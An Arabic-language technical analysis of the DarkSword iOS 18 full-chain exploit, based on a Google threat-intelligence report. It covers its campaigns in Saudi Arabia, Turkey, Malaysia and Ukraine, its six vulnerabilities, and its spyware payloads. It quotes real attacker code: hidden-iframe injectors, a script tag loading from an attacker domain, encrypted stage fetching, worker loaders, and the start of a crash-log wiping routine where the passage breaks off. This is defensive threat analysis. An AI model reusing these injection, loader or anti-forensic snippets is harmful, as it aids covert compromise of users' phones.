ست ثغرات وصفحة ويب واحدة لاختراق iPhone حتى مستوى النواة

قد تبدأ عملية اختراق هاتف ذكي من مكان لا يثير الشك: رابط يبدو تابعًا لخدمة اجتماعية، أو صفحة إخبارية اعتاد صاحب الهاتف زيارتها. لا يحتاج المهاجم في هذا السيناريو إلى إقناع الضحية بتثبيت تطبيق مجهول أو الموافقة على أذونات حساسة؛ يكفي أن يعالج المتصفح محتوى ويب صُمم لاستهداف ثغرات في النظام.

هذا هو جوهر DarkSword، سلسلة استغلال استُخدمت عمليًا ضد أجهزة تعمل بإصدارات محددة من iOS 18، وتحوّل نقطة الدخول داخل المتصفح إلى سيطرة عالية الصلاحيات على الجهاز. كشف تحقيق Google Threat Intelligence Group (GTIG)، المنشور في مارس 2026 بالتعاون مع Lookout وiVerify، عن استخدام السلسلة منذ نوفمبر 2025 في حملات استهدفت مستخدمين في السعودية وتركيا وماليزيا وأوكرانيا.

ما يجعل هذه القضية لافتة ليس عدد الثغرات وحده، بل الطريقة التي رُبطت بها: ثغرة لتنفيذ التعليمات في محرك JavaScript، وأخرى لتجاوز إحدى وسائل حماية المؤشرات، ثم انتقالان بين العمليات المعزولة، وصولًا إلى نواة النظام. والأكثر أهمية أن جهات مختلفة استخدمت السلسلة نفسها مع أدوات تجسس مختلفة، بما يكشف كيف تنتقل قدرات هجومية متطورة بين مشغّلين متباينين.

الشكل 1: التسلسل الزمني الذي نشره فريق GTIG لملاحظات DarkSword وتصحيحات الثغرات.

#من اختراق المتصفح إلى السيطرة على الجهاز

ينتمي DarkSword إلى فئة سلاسل الاستغلال المتكاملة (Full-Chain Exploits). والمقصود أن المهاجم لا يعتمد على خلل منفرد، بل يجمع ثغرات تعالج كل واحدة منها عائقًا أمنيًا محددًا. فتنفيذ شيفرة داخل إحدى عمليات Safari ليس مساويًا للتحكم في الجهاز؛ لأن نظام iOS يفصل عمليات المتصفح عن المكونات الأعلى صلاحية بواسطة طبقات من العزل.

تستهدف السلسلة، وفق العينات التي حللتها Google، الإصدارات من iOS 18.4 إلى iOS 18.7. وتتكون من ست ثغرات مختلفة، استُغل بعضها بوصفه ثغرات يوم صفر وقت الاستخدام أو الاكتشاف، بينما كانت ثغرات أخرى معروفة أو مصححة وقت رصدها. لذلك فإن وصف DarkSword بأنه «ست ثغرات يوم صفر» لا يعكس تصنيف الفريق البحثي بدقة.

هناك سمة تقنية إضافية مهمة: اعتمدت مراحل DarkSword وحمولاته التي درسها الباحثون على JavaScript، بما فيها المراحل المتقدمة بعد استغلال المتصفح. هذا الاختيار يختلف عن سلاسل تعتمد على حقن ملفات تنفيذية أصلية، ويتيح استخدام واجهات النظام الأصلية وقنوات الاتصال بين العمليات من خلال طبقة برمجية داخل السلسلة، دون الحاجة إلى تجاوز بعض وسائل حماية تنفيذ الشيفرة الثنائية غير الموقعة بالطريقة التقليدية.

#كيف وصلت السلسلة إلى الضحايا؟

لم تكن DarkSword حملة واحدة يديرها طرف واحد. فقد رصدت Google أوجه استخدام متباينة تجمعها سلسلة الاستغلال، وتختلف في مواقع التسليم وأساليب الإخفاء والحمولات النهائية.

#السعودية: صفحة تشبه Snapchat تخفي سلسلة الاستغلال

في نوفمبر 2025، رصد الباحثون نشاط UNC6748 من خلال موقع بالعنوان snapshare[.]chat. بدت الواجهة كصفحة مرتبطة بـSnapchat، لكن الشيفرة الموجودة خلفها أنشأت إطارًا مخفيًا (iframe) لتحميل مراحل إضافية. واستُخدم مفتاح باسم uid ضمن sessionStorage للتحقق من حالة الجلسة، في خطوة فسّرها الباحثون بأنها محاولة لتجنب إعادة استهداف الزائر نفسه.

كما لاحظ الفريق استخدام المعالج x-safari-https لمحاولة فتح الصفحة في Safari عندما يصل المستخدم عبر متصفح آخر. وهذه إشارة مهمة إلى اعتماد الهجوم آنذاك على سلوك ومحرك محددين، بدل امتلاكه سلسلة عامة تعمل بالقدر نفسه عبر جميع المتصفحات. وبعد مرحلة التسليم، كان الموقع يعيد توجيه المستخدم إلى صفحة شرعية مرتبطة بالخدمة لتقليل احتمال ملاحظة النشاط.

الشكل 2: الصفحة المموّهة المرتبطة بنشاط UNC6748، وفق الصورة الواردة في تحقيق GTIG.

تفكيك شيفرة صفحة التسليم الأولى

عرض تقرير Google جزءًا من الشيفرة التي كانت تعمل داخل الصفحة المموّهة. المقتطف التالي من العينة المنشورة، وليس إعادة بناء افتراضية لسلسلة الاستغلال:

if (!sessionStorage.getItem("uid") && isTouchScreen) {
  sessionStorage.setItem("uid", '1');
  const frame = document.createElement("iframe");
  frame.src = "frame.html?" + Math.random();
  frame.style.height = 0;
  frame.style.width = 0;
  frame.style.border = "none";
  document.body.appendChild(frame);
} else {
  top.location.href = "red";
}

يتحقق الشرط الأول من غياب المفتاح uid في sessionStorage، ثم يجري اختبارًا مرتبطًا بواجهة اللمس من خلال المتغير isTouchScreen. وبما أن sessionStorage مرتبط بجلسة الصفحة، فوجود المفتاح يشير هنا إلى أن الزيارة عولجت مسبقًا خلال الجلسة نفسها؛ لا يمثل المفتاح معرّفًا دائمًا للجهاز، ولا يثبت بمفرده اكتمال الاختراق. اعتبره الباحثون آلية محتملة لتجنب تكرار محاولة الإصابة.

بعد ذلك تنشئ الشيفرة عنصر iframe وتُخفيه عمليًا عبر تصفير عرضه وارتفاعه وإزالة حدوده. وتضيف قيمة عشوائية إلى طلب frame.html؛ وهو نمط قد يساعد في اختلاف عنوان الطلب عند تكراره، لكنه لا يثبت وحده نية تجاوز التخزين المؤقت. أما مسار else فينقل نافذة المستوى الأعلى إلى وجهة بديلة محددة في العينة بالاسم red.

لم يتضمن ملف frame.html منطق استغلال الذاكرة؛ كانت وظيفته إدراج المحمّل التالي داخل الصفحة:

<script type="text/javascript">
  document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

القيمة التقنية لهذه البنية أنها تفصل صفحة التمويه عن محمّل الاستغلال. فتغيير مظهر الصفحة أو شروط استهداف الزائر لا يتطلب تعديل الوحدات التي تتعامل لاحقًا مع ثغرات الذاكرة. كما أن إخفاء الإطار يجعل عملية الانتقال أقل وضوحًا للمستخدم الذي يرى الصفحة أمامه.

لاحظ الفريق أيضًا مقتطفًا يستخدم معالج بروتوكول مخصصًا لمحاولة نقل الزيارة إلى Safari:

if (typeof browser !== "undefined" || !isIphone()) {
  console.log("");
} else {
  location.href = "x-safari-https://snapshare.chat/<redacted>";
}

لا يحتوي هذا المقتطف على تجاوز أمني مستقل؛ لكنه يكشف اعتماد المشغّل على بيئة متصفح بعينها. واستنتج الباحثون من وجود هذا الفرع أن الحملة لم تكن تملك في تلك الفترة مسار استغلال مكافئًا لمتصفح Chrome.

#تركيا وماليزيا: نسخة أكثر اهتمامًا بإخفاء العمليات

في نشاط ارتبط بـPARS Defense خلال نوفمبر 2025، لاحظ الباحثون تطبيق تمويه على محمّل الاستغلال، واستخدام آليتين تشفيريتين هما ECDH وAES لحماية مراحل يجري تبادلها مع الخادم. وفي يناير 2026 ظهرت حملة مرتبطة بعميل آخر في ماليزيا، مع فحوص إضافية لخصائص الجهاز والمتصفح قبل تحميل المراحل التالية.

هذه الاختبارات، المعروفة باسم Device Fingerprinting، لا تعني بالضرورة التعرف على هوية المستخدم؛ وظيفتها التشغيلية هنا تحديد ما إذا كانت البيئة مناسبة للهجوم، واستبعاد الزيارات غير المرغوبة أو بيئات التحليل، ثم إظهار موقع مشروع لمن لا يطابق الشروط.

فحص البيئة وفك تشفير المراحل لدى PARS Defense

تُظهر شيفرة حملة ماليزيا كيف انتقل المشغّل من اختبار بسيط لوجود شاشة لمس إلى شرط مركب يجمع خصائص النظام والمتصفح، وفحصًا لمحاولات التصحيح. المقتطف التالي مختصر من شرط العينة المنشورة:

if (
  !sessionStorage.getItem('uid') &&
  canUseApplePay() &&
  "standalone" in navigator &&
  CSS.supports("-webkit-backdrop-filter: blur(10px)") &&
  supportsWebGL2() &&
  getDeviceInputInfo() &&
  debuggerCheck()
) {
  // Additional loader logic omitted.
}

في الشيفرة الأصلية توجد اختبارات أخرى، منها مؤشرات لاستبعاد بعض بيئات المتصفحات وفحص دعم ميزات واجهة الويب. لا يصلح اختبار منفرد هنا دليلاً على أن الجهاز iPhone؛ الدلالة تنشأ من اجتماع عدة خصائص. ويبرز استدعاء debuggerCheck() أن المشغّل لم يكن يهتم بملاءمة الإصدار فحسب، بل حاول أيضًا الحد من تشغيل المحتوى أثناء التحليل.

كانت إحدى الاختلافات عن حملة السعودية تشفير مراحل التسليم نفسها. يوضح مقتطف من الدالة getJS()، بعد إزالة التمويه وفق التقرير، شكل التبادل:

const keyPair = generateKeyPair();
const publicKey = exportPublicKeyAsPem(keyPair.publicKey);
const encodedKey = self.btoa(publicKey);

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/<stage>', false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: encodedKey }));

const response = JSON.parse(xhr.responseText);
const ciphertext = b64toUint8Array(response.a);
const serverKey = b64toUint8Array(response.b);
const aesKey = deriveAesKey(keyPair.privateKey, serverKey);
const plaintext = decryptData(ciphertext, aesKey);

هذا تلخيص انتقائي لبنية الشيفرة الأصلية؛ أسماء المتغيرات ووجهة الطلب مبسطة للشرح، وليس برنامجًا مستقلًا قابلًا للتشغيل. يبدأ العميل بإنشاء زوج مفاتيح، ثم يرسل المفتاح العام إلى الخادم. ويستخدم مفتاحه الخاص والمادة التي يعيدها الخادم لاشتقاق مفتاح AES، قبل فك تشفير المحتوى. وبذلك لا تظهر الشيفرة اللاحقة بصورتها الواضحة داخل استجابة الشبكة من دون سياق فك التشفير الصحيح.

وجود XMLHttpRequest متزامن (false) في هذا المقتطف يعني أن التنفيذ ينتظر نتيجة الطلب. وهو اختيار يعكس بساطة التحكم المتسلسل في المحمّل، رغم أثر الطلبات المتزامنة في تعطيل سياق التنفيذ أثناء الانتظار. ولا ينبغي الخلط بين تشفير مراحل التسليم وتشفير اتصالات حمولة GHOSTKNIFE؛ فقد رُصد الاستخدامان في سياقين مختلفين.

#أوكرانيا: اختراق مواقع موثوقة للوصول إلى الزائر

استخدمت مجموعة UNC6353 أسلوب Watering Hole عبر إدراج شيفرة في مواقع أوكرانية مخترقة لتحميل محتوى من النطاق static.cdncounter[.]net. وقد رُصد هذا النشاط منذ ديسمبر 2025 على الأقل واستمر حتى مارس 2026، بحسب التقرير. وفي هذا المسار لم يكن مطلوبًا أن يدخل الضحية إلى موقع صُمم بالكامل للتصيد؛ إذ كان من الممكن أن يبدأ الهجوم أثناء زيارة موقع مشروع جرى العبث به.

ومن التفاصيل الكاشفة أن هذه المجموعة استخدمت إصدارًا من السلسلة يدعم نطاقًا أضيق من إصدارات النظام مقارنة ببعض المستخدمين الآخرين، مع اختلافات طفيفة في منطق تحميل الملفات. ويعزز ذلك تقدير الباحثين بأن الجهات المشغّلة كانت تعدّل آليات التسليم بصورة مستقلة فوق أساس تقني مشترك.

من موقع مشروع مخترق إلى إطار مخفي

في نمط Watering Hole كانت نقطة الدخول نصًا برمجيًا أُدرج داخل صفحات أوكرانية قائمة. أشار تقرير Google إلى استدعاء الملف التالي من الخادم الذي تسيطر عليه المجموعة:

<script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>

ثم وجد الباحثون في ملف widgets.js منطق إنشاء إطار لا يظهر عمليًا ضمن مساحة العرض:

(function () {
  const iframe = document.createElement("iframe");
  iframe.src = "https://static.cdncounter.net/assets/index.html";
  iframe.style.width = "1px";
  iframe.style.height = "1px";
  iframe.style.border = "0";
  iframe.style.position = "absolute";
  iframe.style.left = "-9999px";
  iframe.style.opacity = "0.01";
  iframe.setAttribute("sandbox", "allow-scripts allow-same-origin");
  document.body.appendChild(iframe);
})();

تكشف خاصيتا position وleft سبب عدم ظهور الإطار: لم يكن الهدف تقديم واجهة للمستخدم، وإنما معالجة محتوى إضافي داخل المتصفح. وسمحت قيمتا allow-scripts وallow-same-origin داخل خاصية sandbox بالإبقاء على خصائص لازمة للتنفيذ في سياق ذلك الإطار؛ ولا يعني وجود هذه الخاصية، في حد ذاته، نجاح تجاوز عزل نظام التشغيل.

ثمة اختلاف يربط هذه الحملة بنسخة المحمّل المستخدمة: كانت صفحة index.html تضبط uid مباشرة، بدل اختباره قبل تحميل المرحلة التالية. حتى التعليق الروسي داخل الشيفرة يشير إلى تردد بشأن الحاجة إلى المفتاح، وهي قرينة صغيرة على أن آليات التسليم جرى تكييفها من جهة إلى أخرى، لا نسخها بتماثل كامل.

#تشريح سلسلة الاستغلال: ست ثغرات عبر خمس محطات

الشكل 3: مخطط سلسلة الاختراق كما نشره فريق Google Threat Intelligence Group.

يمكن تقسيم مسار DarkSword إلى خمس محطات مترابطة: تنفيذ شيفرة داخل المتصفح، تجاوز حماية المؤشرات، الخروج من عزل محتوى الويب، الانتقال إلى عملية ذات صلاحيات أوسع، ثم رفع الصلاحيات إلى مستوى النواة. يوضح الجدول توزيع الثغرات على هذه المحطات، مع الإصدارات التي أشار إليها تقرير Google بوصفها إصدارات إصلاح أولية.

#المخطط الداخلي للانتقال بين حدود الحماية

Landing page / Compromised website
              |
              v
          frame.html
              |
              v
         rce_loader.js
              |
              v
      JavaScriptCore RCE
      + user-mode PAC bypass
              |
              v
  Safari WebContent Sandbox
              |
       ANGLE / WebGL flaw
              |
              v
        Safari GPU Process
              |
         XNU COW flaw
              |
              v
         mediaplaybackd
              |
       XNU VFS race condition
              |
              v
       Kernel-level access
              |
              v
   Final payload: GHOSTKNIFE
       / GHOSTSABER / GHOSTBLADE

يقرأ المخطط من الأعلى إلى الأسفل بوصفه حدود امتيازات يجري عبورها، لا سلسلة عمليات جميعها تحمل الامتيازات نفسها. تختلف حمولة ما بعد الاستغلال باختلاف الجهة المشغّلة، فيما ظلت وحدات الخروج من العزل ورفع الصلاحيات متشابهة في النشاط الذي تمكن الباحثون من جمعه. كما أن موضع تجاوز PAC هنا يشرح وظيفته ضمن مرحلة التنفيذ الأولى، وليس باعتباره عملية مستقلة ذات صلاحيات أعلى.

#1. التنفيذ الأولي داخل JavaScriptCore

تبدأ المرحلة الهجومية من محرك JavaScriptCore الذي ينفذ JavaScript في Safari. استخدمت السلسلة مسارين تبعًا لإصدار النظام: الأول يستغل CVE-2025-31277 في الإصدارات الأقدم من 18.6، والثاني يستغل CVE-2025-43529 في المسار المخصص للإصدارات 18.6 و18.7.

تختلف طبيعة الخللين، لكن الهدف الهندسي متشابه: تحويل اضطراب في إدارة الأنواع أو الذاكرة إلى بدائيات استغلال (Exploitation Primitives) تمكّن المهاجم من التعامل مع عناوين وكائنات الذاكرة بصورة غير مقصودة. وصف الباحثون استخدام fakeobj وaddrof لبناء إمكانات قراءة وكتابة تعسفية في الذاكرة (Arbitrary Read/Write). عند هذه النقطة يكون المهاجم قد تجاوز مجرد تشغيل JavaScript المسموح بها داخل الصفحة، لكنه لا يزال داخل حدود صلاحيات عملية المتصفح.

من فساد الذاكرة إلى بدائيات الاستغلال: تشير addrof إلى آلية يستنتج بها الاستغلال عنوان كائن في الذاكرة، بينما تشير fakeobj إلى جعل عنوان أو بنية ذاكرة تُفسَّر باعتبارها كائنًا صالحًا داخل المحرك. وقد استُخدمت هاتان القدرتان، وفق التقرير، لبناء قراءة وكتابة خارج حدود واجهة JavaScript الطبيعية. إلا أن التقرير المنشور لا يعرض تفاصيل كافية لإعادة إنتاج الخللين أو اشتقاق موثوق للبدائيات؛ لذا فإن وصفها هنا معماري وتحليلي، وليس شيفرة استغلال قابلة للتنفيذ.

الفرق بين الثغرتين أساسي: ترتبط CVE-2025-31277 بالتباس أنواع أثناء تحسينات JIT، بينما ترتبط CVE-2025-43529 بسلوك جامع الذاكرة ضمن طبقة Data Flow Graph (DFG) JIT. وكلا المسارين يهدف إلى الحصول على التحكم اللازم في ذاكرة العملية، لكنه لا يختزل إلى «ثغرة JavaScript» عامة متطابقة التقنية.

#2. تجاوز PAC داخل dyld

تعتمد أجهزة Apple على حماية تسمى Pointer Authentication Codes (PAC)، تستخدم للتحقق من سلامة فئات من المؤشرات وتقليل قابلية استغلال فساد الذاكرة لتحويل تدفق التنفيذ. ولهذا لا تكفي بدائيات القراءة والكتابة وحدها دائمًا لبناء سلسلة عملية مكتملة.

استغلت DarkSword الثغرة CVE-2026-20700 في dyld لتجاوز PAC ضمن مساحة المستخدم. وتكمن أهمية هذه المحطة في ربط ثغرات محرك JavaScript بمراحل أوسع تحتاج إلى استدعاءات وتنقلات تنفيذية تتجاوز القيود المعتادة. أصلحت Apple هذه الثغرة ضمن iOS 26.3، وفق تقرير Google.

يشير dyld إلى المحمّل الديناميكي المسؤول عن ربط المكتبات والأطر أثناء تشغيل البرامج. أما PAC فهي طبقة سلامة للمؤشرات، وليست عزلًا منفصلًا للعمليات. لذلك يجب الفصل بين الحصول على قراءة وكتابة للذاكرة وبين توجيه تدفق التنفيذ مع بقاء فحوص سلامة المؤشرات فعّالة. وجود ثغرة في كل من المحرك والمحمّل الديناميكي هو ما منح DarkSword جسرًا بين هذين الاحتياجين.

النتيجة لا تعني أن آلية PAC أُلغيت عن كامل الجهاز؛ فالمصدر يصف تجاوزًا محددًا في نطاق المستخدم جرى دمجه مع مسارات تنفيذ الشيفرة داخل المتصفح.

#3. الخروج من عزل WebContent إلى GPU

تعزل بنية Safari عملية عرض محتوى الويب (WebContent) داخل Sandbox محدود الصلاحيات، بحيث لا يؤدي اختراق صفحة إلى الوصول المباشر للموارد الحساسة. استخدمت DarkSword الثغرة CVE-2025-14174 في مكتبة ANGLE، مستفيدة من قصور التحقق من معاملات إحدى عمليات WebGL لإحداث وصول إلى الذاكرة خارج الحدود المسموح بها (Out-of-Bounds).

كانت نتيجة هذا الانتقال تنفيذ التعليمات داخل عملية الرسوميات (GPU Process) بدل البقاء محصورًا في عملية محتوى الويب. وهذا لا يعني الحصول على صلاحيات النواة؛ بل الانتقال إلى نطاق أوسع قليلًا تمهيدًا لمرحلة أخرى من تجاوز العزل.

تكتسب مكتبة ANGLE أهمية في هذا السياق لأنها تُحوّل استدعاءات الرسوميات إلى طبقات التنفيذ المناسبة. وفي العينة الموصوفة، كان القصور في التحقق من معاملات عملية WebGL سببًا في الوصول إلى ذاكرة خارج الحدود داخل عملية الرسوميات. والتمييز بين محتوى صفحة خبيثة يستخدم واجهات رسوميات اعتيادية وبين تنفيذ شيفرة ضمن عملية GPU بعد فساد الذاكرة هو الفاصل الحقيقي لهذه المرحلة.

يصف التقرير وحدتي تسليم باسم sbox0_main_18.4.js وsbx0_main.js، لكن مجرد ظهور الاسمين لا يكفي لتحديد نسخ جميع الأجهزة؛ فربطهما الفعلي يعتمد على سياق السلسلة وبقية آثارها.

#4. من GPU إلى mediaplaybackd

تظل عملية GPU معزولة عن عدد من موارد النظام. لذلك استغلت السلسلة الثغرة CVE-2025-43510 في نواة XNU، المرتبطة بآلية Copy-on-Write، لبناء قدرة على استدعاء دوال داخل العملية النظامية mediaplaybackd.

تتميز هذه الخطوة بأن السلسلة حمّلت نسخة من بيئة تشغيل JavaScriptCore داخل mediaplaybackd لتشغيل المرحلة التالية من الاستغلال. وبهذا انتقلت آلية الهجوم من متصفح الويب إلى خدمة نظام تمتلك نطاق وصول أكبر، مع المحافظة على فلسفة التشغيل المعتمدة على JavaScript.

توضح عبارة Copy-on-Write سلوك نسخ صفحات الذاكرة عند تعديل محتوى مشترك بدل نسخه مقدمًا. في الحالة التي وصفها Google، نشأ خلل في إدارة الذاكرة داخل XNU مكّن السلسلة من إنشاء بدائية لاستدعاء دوال داخل خدمة mediaplaybackd. لم تكن هذه القفزة مجرد تحميل مكتبة إضافية في المتصفح؛ بل نقلًا لنقطة التنفيذ إلى عملية نظام مختلفة تخضع لسياسة عزل أخرى.

من الناحية الهندسية، تمثل إعادة استخدام JavaScriptCore داخل تلك العملية حيلة معمارية مهمة: تظل الوحدات التي تلي مرحلة الانتقال قادرة على الاستفادة من البنية البرمجية المشتركة، بدل إعادة كتابة كل حمولة بوصفها ملفًا ثنائيًا أصليًا مستقلًا.

#5. رفع الصلاحيات إلى النواة

تصل السلسلة إلى مرحلتها الحاسمة مع CVE-2025-43520، وهي حالة تسابق (Race Condition) في طبقة Virtual File System (VFS) داخل نواة XNU. سمح استغلال الخلل ببناء بدائيات قراءة وكتابة في الذاكرة الافتراضية والفيزيائية، تمهيدًا لتشغيل الحمولة النهائية بقدرات عالية الصلاحيات.

ومن منظور هندسة الاستغلال، لا تكمن قوة DarkSword في وجود ثغرة واحدة تمنح كل شيء، بل في التنسيق الدقيق بين ثغرات تتجاوز الحدود الأمنية واحدة بعد أخرى. فأي خلل في ملاءمة إصدار النظام أو في إحدى مراحل السلسلة قد يمنع الوصول إلى الحمولة النهائية.

بنى مطورو السلسلة فوق بدائيات القراءة والكتابة طبقة مكتبات مشتركة؛ من بينها Native للوصول المنظم إلى الذاكرة واستدعاء الدوال الأصلية، وFileUtils للتعامل مع الملفات بواجهة شبيهة بـPOSIX. ويساعد ذلك في تفسير كيف يمكن لحمولات مختلفة أن تستفيد من نتيجة الاستغلال دون إعادة تنفيذ وظائف الوصول إلى النظام من الصفر.

وتحتاج هذه النتيجة إلى تمييز دقيق في موضوع حماية الذاكرة التنفيذية: ذكرت Google أن تبني JavaScript عبر السلسلة قلّل الحاجة إلى العثور على ثغرات إضافية لتجاوز Page Protection Layer (PPL) أو Secure Page Table Monitor (SPTM) بغرض تشغيل شيفرة ثنائية غير موقعة. هذا لا يعني اختراق PPL أو SPTM؛ بل تجنّب متطلب تشغيل هذا النوع من الحمولة الثنائية في السيناريو الموصوف.

#محمّل الاستغلال: شيفرة تشغيل بسيطة فوق سلسلة معقدة

من المفارقات التي أبرزها التحقيق أن بعض آليات تحميل الثغرات كانت أقل نضجًا من التقنيات المستخدمة داخل الثغرات نفسها. اعتمدت السلسلة على ملفات مثل:

frame.html
rce_loader.js
rce_module.js
rce_worker_18.4.js
rce_worker_18.6.js
rce_worker_18.7.js
sbox0_main_18.4.js
sbx0_main.js
sbx1_main.js
pe_main.js

تولى rce_loader.js إدارة تحميل مكونات Web Worker وتحولات حالة الاستغلال. وفي مسار الإصدارات الأقدم، جرى توزيع العمل بين العامل (Worker) والوحدة المحمّلة في سياق الصفحة، مع التواصل عبر postMessage. أما بعض المسارات الأحدث فاحتوت الشيفرة الفعلية بصورة رئيسية داخل العامل نفسه.

#قراءة فعلية لشيفرة المحمّل

ورد في التقرير المقتطف التالي من الدالة التي تسترجع ملفات المراحل اللاحقة. يحتوي على طلب متزامن للحصول على محتوى نصي، وليس على تنفيذ ثغرة الذاكرة بحد ذاته:

function getJS(fname, method = 'GET') {
  try {
    url = fname;
    print(`trying to fetch ${method} from: ${url}`);
    let xhr = new XMLHttpRequest();
    xhr.open("GET", `${url}`, false);
    xhr.send(null);
    return xhr.responseText;
  } catch (e) {
    print("got error in getJS: " + e);
  }
}

تبدأ الدالة باسم الملف المراد الحصول عليه، وتستدعي XMLHttpRequest لجلب النص، ثم تعيده إلى منطق التحميل. اللافت أن الوسيط method يستخدم في طباعة رسالة تتبع فحسب في هذا المقتطف، بينما تظل طريقة الطلب الفعلية GET. كما أن إسناد url = fname دون إعلان محلي ظاهر للمتغير قد ينشئ أو يستخدم مرجعًا في نطاق أوسع إذا لم تكن هناك صياغة أخرى في بقية البرنامج؛ ولا يمكن الجزم بنطاقه النهائي من المقتطف وحده.

بعد استرجاع الملف كان المحمّل يحوّل النص إلى كائن Blob من نوع text/javascript ويولّد له عنوانًا داخل المتصفح:

let workerCode = "";
workerCode = getJS(`rce_worker_18.4.js`);
let workerBlob = new Blob([workerCode], {
  type: 'text/javascript'
});
let workerBlobUrl = URL.createObjectURL(workerBlob);

يسمح Blob بمعاملة الشيفرة المسترجعة كمورد نصي داخل جلسة المتصفح، بينما يُنشئ URL.createObjectURL() مرجعًا إلى هذا المورد. يستخدم المحمّل هذه الآلية في إدارة مكونات العامل البرمجي. لكن السطور المعروضة وحدها لا تنفذ الاستغلال؛ فهي تُحضّر موردًا يمكن لبقية المحمّل التعامل معه.

في المسار الأقدم كان هناك سياقان لتنفيذ JavaScript: سياق الصفحة الذي يحمل وحدة rce_module.js، وسياق Web Worker الذي يحمل rce_worker_18.4.js. وذكر التحقيق أن التراسل بينهما جرى باستخدام postMessage لتنظيم تقدم الاستغلال. أما مسار 18.6–18.7 فكان الجزء الجوهري داخل العامل، مع وحدة مقابلة احتوت في إحدى العينات مجرد دالة غير مستخدمة:

// for displaying hex value
function dummyy(x) {
  return '0x' + x.toString(16);
}

وجود دالة بهذا المستوى من البساطة في وحدة يفترض أن تحمل جزءًا من الاستغلال يوحي بأن واجهة توزيع الملفات استمرت بعد نقل المنطق الفعلي إلى العامل، وليس بأن هذه الدالة تؤدي وظيفة أمنية بنفسها.

#خطأ اختيار الـ Worker حسب إصدار النظام

في نسخة التحديث إلى iOS 18.6، وجد الباحثون فرعين شرطيين ينتهيان إلى الملف نفسه:

let workerCode = "";
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
else
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);

هنا يغيّر الشرط مسار التنفيذ ظاهريًا، لكنه لا يغير ملف الاستغلال المُختار. لذلك لا يمكن للمحمّل في هذه النسخة العودة إلى ملف مسار 18.4 عندما يفشل شرط المطابقة. وظهر خلل مشابه في تحديث لاحق يحمّل rce_worker_18.7.js في كلا الفرعين. هذه نقطة تكشف أن صحة استغلال الذاكرة لا تعوّض سوء منطق اختيار الإصدار؛ فالإزاحات والبنى الداخلية تختلف باختلاف نسخة النظام.

على النقيض، أظهرت عينة UNC6353 التي وصفها التقرير اختيارًا مختلفًا بين ملفي العامل، كما في المقتطف التالي:

let workerCode = "";
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
else
    workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);

هذا الاختلاف لا يجعل المحمّل شاملاً لكل الإصدارات؛ فقد ذكر الباحثون أن العينة الأوكرانية التي رُصدت لم تُظهر دعم iOS 18.7. لكنه يوضح أن المشغّلين لم يستخدموا بالضرورة نسخة متطابقة من منطق التوجيه، حتى عندما تشابهت المراحل اللاحقة للسلسلة.

#لماذا تتكرر عناوين الملفات مع معاملات زمنية؟

تضيف بعض العينات نتيجة Date.now() إلى عنوان ملف المرحلة، فيصبح الطلب مميزًا زمنيًا. هذه طريقة شائعة لتقليل احتمال إعادة استخدام نسخة محفوظة مؤقتًا من مورد يحمل الاسم نفسه. ومن منظور التحليل الجنائي، ينبغي عدم اعتبار اختلاف قيمة المعامل دليلاً على اختلاف الشيفرة المنقولة؛ لا يثبت ذلك إلا مقارنة محتوى الاستجابات، حين يكون متاحًا.

في المقابل، يتطلب تحقيق إعادة بناء التسلسل فصل مورد الصفحة الأولى عن الإطار، ثم المحمّل وملفات العامل، وبعدها وحدات الخروج من العزل ورفع الصلاحيات. والخلط بين هذه الأدوار قد يؤدي إلى توصيف طلب شبكة عادي باعتباره دليلًا مباشرًا على تنفيذ تعليمات في النواة، وهو استنتاج أكبر مما تدعمه تلك الملاحظة وحدها.

والأغرب أن الباحثين لاحظوا نسخًا من منطق المحمّل تختار الملف نفسه مهما كانت نتيجة التحقق من إصدار iOS. ليس ذلك ثغرة جديدة بحد ذاته، لكنه يعكس تفاوت جودة التكامل بين وحدات الاستغلال وأداة التسليم، وربما يدل على تحديثات جرى تداولها بين الجهات المشغّلة قبل ضبطها بالكامل.

كذلك ظهرت دلائل على استخدام Anti-Debugging والتمويه (Obfuscation) والتشفير في بعض الحملات. هذه الطبقات لا تزيد امتيازات الاستغلال بحد ذاتها، لكنها تصعّب جمع العينات وفهم تدفق التنفيذ أثناء التحليل، وتحد من وصول أدوات الفحص إلى المراحل المتقدمة.

#ما الذي يحدث بعد نجاح الاختراق؟ ثلاث حمولات لا تؤدي الدور نفسه

ميّز تحقيق Google بين ثلاث عائلات من البرمجيات الخبيثة التي جرى تشغيلها بعد نجاح DarkSword. ومع أنها تستفيد من الوصول الذي وفرته السلسلة نفسها، فإن تصميمها وطريقة التعامل مع البيانات تختلف بصورة واضحة.

#GHOSTKNIFE: جمع بيانات مستمر وقنوات اتصال مشفرة

رُصدت هذه الحمولة مع نشاط UNC6748. وهي مكتوبة بلغة JavaScript، وتتواصل مع خادم القيادة والتحكم (C2) عبر بروتوكول ثنائي مخصص فوق HTTP، مع تشفير يعتمد على ECDH وAES بحسب التحليل. ويمكنها تغيير بعض إعداداتها استجابة إلى أوامر الخادم.

خلال التشغيل، تنشئ الحمولة مجلدات مؤقتة بأسماء متغيرة داخل المسار التالي، وتوزع مخرجات الوحدات الفرعية في مجلدات تخزين مستقلة:

/tmp/<uuid>.<numbers>/
/tmp/<uuid>.<numbers>/STORAGE/
/tmp/<uuid>.<numbers>/DATA/
/tmp/<uuid>.<numbers>/TMP/

ولاحظ الباحثون منطقًا لحذف تقارير الأعطال المرتبطة بعمليات معينة، منها SpringBoard وبعض مكونات WebKit. هذا السلوك مهم جنائيًا، لأن الأعطال غير الاعتيادية قد تكون من الآثار التي تكشف محاولات استغلال الذاكرة حتى بعد انتهاء الجلسة.

تحليل دالة إخفاء آثار الأعطال

لم يقتصر التقرير على وصف الوظيفة، بل عرض جزءًا من التنفيذ الفعلي في GHOSTKNIFE:

cleanLogs() {
  let files = MyHelper.getContentsOfDir(
    "/var/mobile/Library/Logs/CrashReporter/"
  );
  for (let file of files) {
    if (
      file.includes("mediaplaybackd") ||
      file.includes("SpringBoard") ||
      file.includes("com.apple.WebKit.") ||
      file.includes("panic-full-")
    ) {
